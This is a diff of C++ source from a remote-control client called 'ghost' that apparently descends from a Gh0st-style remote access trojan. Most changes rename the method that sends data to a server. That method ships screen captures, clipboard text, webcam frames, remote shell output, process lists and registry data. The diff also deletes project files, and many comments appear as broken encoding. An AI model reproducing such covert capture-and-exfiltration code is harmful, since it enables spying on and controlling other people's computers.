+#define ENABLE_KEYBOARD 1

 HDESK SelectDesktop(TCHAR* name);

@@ -43,6 +44,13 @@ public:
 	VOID WaitForDialogOpen();
 	VOID NotifyDialogIsOpen();

+	BOOL IsConnected() const {
+		return m_ClientObject->IsConnected();
+	}
+	BOOL Reconnect() {
+		return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
+	}
+	virtual void Notify() { }
 	int Send(LPBYTE lpData, UINT nSize);
 	virtual void SetReady(BOOL ready = true) { m_bReady = ready; }
 };
--- a/client/RegisterManager.cpp
+++ b/client/RegisterManager.cpp
@@ -13,7 +13,7 @@
 CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
 {
 	BYTE bToken=TOKEN_REGEDIT;
-	m_ClientObject->OnServerSending((char*)&bToken, 1);  
+	m_ClientObject->Send2Server((char*)&bToken, 1);
 }

 CRegisterManager::~CRegisterManager()
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
 	char *szBuffer= Opt.FindPath();
 	if(szBuffer!=NULL)
 	{
-		m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+		m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
 		//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
 		LocalFree(szBuffer);
 	}
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
    if(szBuffer!=NULL)
 	{
 		//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
-		m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+		m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
 		LocalFree(szBuffer);
 	}
 }
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
 	szBuffer[0] = TOKEN_BITMAPINFO;
 	//<2F><><EFBFBD>ｫbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
 	memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
-	m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
+	m_ClientObject->Send2Server((char*)szBuffer, ulLength);
 	VirtualFree(szBuffer, 0, MEM_RELEASE);
 }

@@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
 	memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
 	::GlobalUnlock(hGlobal); 
 	::CloseClipboard();
-	m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
+	m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
 	delete[] szBuffer;
 }

@@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
 		return;
 	}

-	m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
+	m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
 }

 const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
@@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)

 VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
 {
-	m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
+	m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
 }

 std::string GetTitle(HWND hWnd) {
--- a/client/Script.rc
+++ b/client/Script.rc
@@ -88,7 +88,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //

 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,1,1
+ FILEVERSION 1,0,1,2
 PRODUCTVERSION 1,0,0,1
 FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
        BEGIN
            VALUE "CompanyName", "FUCK THE UNIVERSE"
            VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.1.1"
+            VALUE "FileVersion", "1.0.1.2"
            VALUE "InternalName", "ServerDll.dll"
            VALUE "LegalCopyright", "Copyright (C) 2019-2025"
            VALUE "OriginalFilename", "ServerDll.dll"
--- a/client/ServicesManager.cpp
+++ b/client/ServicesManager.cpp
@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
 	if (szBuffer == NULL)
 		return;	

-	m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
+	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
 	LocalFree(szBuffer);
 }

--- a/client/ShellManager.cpp
+++ b/client/ShellManager.cpp
@@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
 	m_hShellThreadHandle	= pi.hThread;

 	BYTE	bToken = TOKEN_SHELL_START;      //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h     
-	m_ClientObject->OnServerSending((char*)&bToken, 1);
+	m_ClientObject->Send2Server((char*)&bToken, 1);

 	WaitForDialogOpen();

@@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
 			const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
 			int length = int(dwReturn) - This->m_nCmdLength;
 			if (length > 0)
-				This->m_ClientObject->OnServerSending(pStart, length);
+				This->m_ClientObject->Send2Server(pStart, length);

 			LocalFree(szTotalBuffer);
 		}
--- a/client/SystemManager.cpp
+++ b/client/SystemManager.cpp
@@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList()
 	LPBYTE	szBuffer = GetProcessList();            //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	if (szBuffer == NULL)
 		return;	
-	m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));  
+	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
 	LocalFree(szBuffer);

 	szBuffer = NULL;
@@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList()
 	if (szBuffer == NULL)
 		return;

-	m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));    //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
+	m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));    //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
 	LocalFree(szBuffer);	
 }

--- a/client/TalkManager.cpp
+++ b/client/TalkManager.cpp
@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
 	g_Event = 0;
 	memset(g_Buffer, 0, sizeof(g_Buffer));
 	BYTE	bToken = TOKEN_TALK_START;   
-	m_ClientObject->OnServerSending((char*)&bToken, 1);
+	m_ClientObject->Send2Server((char*)&bToken, 1);
 	WaitForDialogOpen();
 	Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
 }
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
 		{ 
 			KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
 			BYTE bToken = TOKEN_TALKCMPLT;
-			if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
+			if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
 			EndDialog(hDlg, LOWORD(wParam)); 
 			return (INT_PTR)TRUE; 
 		}
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg)   //ʱ
 			{
 				KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
 				BYTE bToken = TOKEN_TALKCMPLT;				// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h     
-				m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
+				m_ClientObject->Send2Server((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
 				EndDialog(hDlg,0);
 			}
 			break;
--- a/client/TestRun.vcxproj
+++ b/client/TestRun.vcxproj
@@ -1,93 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup Label="ProjectConfigurations">
-    <ProjectConfiguration Include="Debug|Win32">
-      <Configuration>Debug</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-    <ProjectConfiguration Include="Release|Win32">
-      <Configuration>Release</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-  </ItemGroup>
-  <PropertyGroup Label="Globals">
-    <ProjectGuid>{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}</ProjectGuid>
-    <RootNamespace>TestRun</RootNamespace>
-    <WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>true</UseDebugLibraries>
-    <PlatformToolset>v110_xp</PlatformToolset>
-    <CharacterSet>MultiByte</CharacterSet>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>false</UseDebugLibraries>
-    <PlatformToolset>v110_xp</PlatformToolset>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>MultiByte</CharacterSet>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
-  <ImportGroup Label="ExtensionSettings">
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <PropertyGroup Label="UserMacros" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
-    <LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
-    <LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
-  </PropertyGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <Optimization>Disabled</Optimization>
-      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
-      <MultiProcessorCompilation>true</MultiProcessorCompilation>
-      <MinimalRebuild>false</MinimalRebuild>
-    </ClCompile>
-    <Link>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-      <SubSystem>Console</SubSystem>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <Optimization>MaxSpeed</Optimization>
-      <FunctionLevelLinking>true</FunctionLevelLinking>
-      <IntrinsicFunctions>true</IntrinsicFunctions>
-      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
-      <MultiProcessorCompilation>true</MultiProcessorCompilation>
-      <PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-    </ClCompile>
-    <Link>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-      <EnableCOMDATFolding>true</EnableCOMDATFolding>
-      <OptimizeReferences>true</OptimizeReferences>
-      <SubSystem>Windows</SubSystem>
-      <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemGroup>
-    <ClCompile Include="test.cpp" />
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="resource1.h" />
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="TestRun.rc" />
-  </ItemGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
-  <ImportGroup Label="ExtensionTargets">
-  </ImportGroup>
-</Project>
--- a/client/TestRun.vcxproj.filters
+++ b/client/TestRun.vcxproj.filters
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup>
-    <Filter Include="源文件">
-      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
-      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
-    </Filter>
-    <Filter Include="头文件">
-      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
-      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
-    </Filter>
-    <Filter Include="资源文件">
-      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
-      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
-    </Filter>
-  </ItemGroup>
-  <ItemGroup>
-    <ClCompile Include="test.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="resource1.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="TestRun.rc">
-      <Filter>资源文件</Filter>
-    </ResourceCompile>
-  </ItemGroup>
-</Project>
--- a/client/TestRun.vcxproj.user
+++ b/client/TestRun.vcxproj.user
@@ -1,12 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
-    <RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
-    <RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
-    <DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
-    <AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
-    <RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
-    <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
-  </PropertyGroup>
-</Project>
--- a/client/TestRun_vs2015.vcxproj.user
+++ b/client/TestRun_vs2015.vcxproj.user
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup />
+</Project>
--- a/client/VideoManager.cpp
+++ b/client/VideoManager.cpp
@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
 	BYTE szBuffer[dwBytesLength + 3] = { 0 };
 	szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
 	memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
-	m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
+	m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
 }

 BOOL CVideoManager::SendNextScreen()
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
 	}
 	m_CapVideo.SendEnd();    //copy  send

-	m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
+	m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);

 	return TRUE;
 }
--- a/client/ghost.vcxproj
+++ b/client/ghost.vcxproj
@@ -1,160 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup Label="ProjectConfigurations">
-    <ProjectConfiguration Include="Debug|Win32">
-      <Configuration>Debug</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-    <ProjectConfiguration Include="Release|Win32">
-      <Configuration>Release</Configuration>
-      <Platform>Win32</Platform>
-    </ProjectConfiguration>
-  </ItemGroup>
-  <PropertyGroup Label="Globals">
-    <ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
-    <RootNamespace>ClientDll</RootNamespace>
-    <ProjectName>ghost</ProjectName>
-    <WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>true</UseDebugLibraries>
-    <PlatformToolset>v110_xp</PlatformToolset>
-    <CharacterSet>MultiByte</CharacterSet>
-    <UseOfMfc>false</UseOfMfc>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
-    <ConfigurationType>Application</ConfigurationType>
-    <UseDebugLibraries>false</UseDebugLibraries>
-    <PlatformToolset>v110_xp</PlatformToolset>
-    <WholeProgramOptimization>true</WholeProgramOptimization>
-    <CharacterSet>MultiByte</CharacterSet>
-  </PropertyGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
-  <ImportGroup Label="ExtensionSettings">
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
-  </ImportGroup>
-  <PropertyGroup Label="UserMacros" />
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <IntDir>$(Configuration)\ghost</IntDir>
-    <IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
-    <LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
-  </PropertyGroup>
-  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <IntDir>$(Configuration)\ghost</IntDir>
-    <IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
-    <LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
-  </PropertyGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <Optimization>Disabled</Optimization>
-      <AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
-      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
-      <PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <MultiProcessorCompilation>true</MultiProcessorCompilation>
-      <MinimalRebuild>false</MinimalRebuild>
-    </ClCompile>
-    <Link>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-      <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
-      <IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
-      <EntryPointSymbol>
-      </EntryPointSymbol>
-      <SubSystem>Console</SubSystem>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
-    <ClCompile>
-      <WarningLevel>Level3</WarningLevel>
-      <Optimization>MaxSpeed</Optimization>
-      <FunctionLevelLinking>true</FunctionLevelLinking>
-      <IntrinsicFunctions>true</IntrinsicFunctions>
-      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
-      <AdditionalIncludeDirectories>./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
-      <PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
-      <MultiProcessorCompilation>true</MultiProcessorCompilation>
-    </ClCompile>
-    <Link>
-      <GenerateDebugInformation>true</GenerateDebugInformation>
-      <EnableCOMDATFolding>true</EnableCOMDATFolding>
-      <OptimizeReferences>true</OptimizeReferences>
-      <AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
-      <AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
-      <SubSystem>Windows</SubSystem>
-      <EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
-    </Link>
-  </ItemDefinitionGroup>
-  <ItemGroup>
-    <ClCompile Include="Audio.cpp" />
-    <ClCompile Include="AudioManager.cpp" />
-    <ClCompile Include="Buffer.cpp" />
-    <ClCompile Include="CaptureVideo.cpp" />
-    <ClCompile Include="ClientDll.cpp" />
-    <ClCompile Include="Common.cpp" />
-    <ClCompile Include="FileManager.cpp" />
-    <ClCompile Include="IOCPClient.cpp" />
-    <ClCompile Include="KernelManager.cpp" />
-    <ClCompile Include="LoginServer.cpp" />
-    <ClCompile Include="Manager.cpp" />
-    <ClCompile Include="RegisterManager.cpp" />
-    <ClCompile Include="RegisterOperation.cpp" />
-    <ClCompile Include="ScreenManager.cpp" />
-    <ClCompile Include="ScreenSpy.cpp" />
-    <ClCompile Include="ServicesManager.cpp" />
-    <ClCompile Include="ShellManager.cpp" />
-    <ClCompile Include="StdAfx.cpp" />
-    <ClCompile Include="SystemManager.cpp" />
-    <ClCompile Include="TalkManager.cpp" />
-    <ClCompile Include="VideoManager.cpp" />
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="Audio.h" />
-    <ClInclude Include="AudioManager.h" />
-    <ClInclude Include="Buffer.h" />
-    <ClInclude Include="CaptureVideo.h" />
-    <ClInclude Include="Common.h" />
-    <ClInclude Include="CursorInfo.h" />
-    <ClInclude Include="FileManager.h" />
-    <ClInclude Include="IOCPClient.h" />
-    <ClInclude Include="KernelManager.h" />
-    <ClInclude Include="LoginServer.h" />
-    <ClInclude Include="Manager.h" />
-    <ClInclude Include="RegisterManager.h" />
-    <ClInclude Include="RegisterOperation.h" />
-    <ClInclude Include="resource.h" />
-    <ClInclude Include="ScreenManager.h" />
-    <ClInclude Include="ScreenSpy.h" />
-    <ClInclude Include="ServicesManager.h" />
-    <ClInclude Include="ShellManager.h" />
-    <ClInclude Include="StdAfx.h" />
-    <ClInclude Include="SystemManager.h" />
-    <ClInclude Include="TalkManager.h" />
-    <ClInclude Include="VideoCodec.h" />
-    <ClInclude Include="VideoManager.h" />
-    <ClInclude Include="zconf.h" />
-    <ClInclude Include="zlib.h" />
-  </ItemGroup>
-  <ItemGroup>
-    <ResourceCompile Include="Script.rc" />
-  </ItemGroup>
-  <ItemGroup>
-    <None Include="ExportFunTable.def" />
-  </ItemGroup>
-  <ItemGroup>
-    <Media Include="Res\msg.wav" />
-  </ItemGroup>
-  <ItemGroup>
-    <Image Include="Res\ghost.ico" />
-    <Image Include="Res\msg.ico" />
-  </ItemGroup>
-  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
-  <ImportGroup Label="ExtensionTargets">
-  </ImportGroup>
-</Project>
--- a/client/ghost.vcxproj.filters
+++ b/client/ghost.vcxproj.filters
@@ -1,182 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
-  <ItemGroup>
-    <Filter Include="源文件">
-      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
-      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
-    </Filter>
-    <Filter Include="头文件">
-      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
-      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
-    </Filter>
-    <Filter Include="资源文件">
-      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
-      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
-    </Filter>
-  </ItemGroup>
-  <ItemGroup>
-    <ClCompile Include="Audio.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="AudioManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="Buffer.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="CaptureVideo.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="ClientDll.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="Common.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="FileManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="IOCPClient.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="KernelManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="LoginServer.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="Manager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-    <ClCompile Include="RegisterManager.cpp">
-      <Filter>源文件</Filter>
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-    <ClCompile Include="RegisterOperation.cpp">
-      <Filter>源文件</Filter>
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-    <ClCompile Include="ScreenManager.cpp">
-      <Filter>源文件</Filter>
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-      <Filter>源文件</Filter>
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-      <Filter>源文件</Filter>
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-      <Filter>源文件</Filter>
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-      <Filter>源文件</Filter>
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-      <Filter>源文件</Filter>
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-      <Filter>源文件</Filter>
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-    <ClCompile Include="VideoManager.cpp">
-      <Filter>源文件</Filter>
-    </ClCompile>
-  </ItemGroup>
-  <ItemGroup>
-    <ClInclude Include="Audio.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="AudioManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Buffer.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="CaptureVideo.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Common.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="FileManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="IOCPClient.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="KernelManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="LoginServer.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="Manager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="RegisterManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="RegisterOperation.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="resource.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ScreenManager.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ScreenSpy.h">
-      <Filter>头文件</Filter>
-    </ClInclude>
-    <ClInclude Include="ServicesManager.h">
-      <Filter>头文件</Filter>
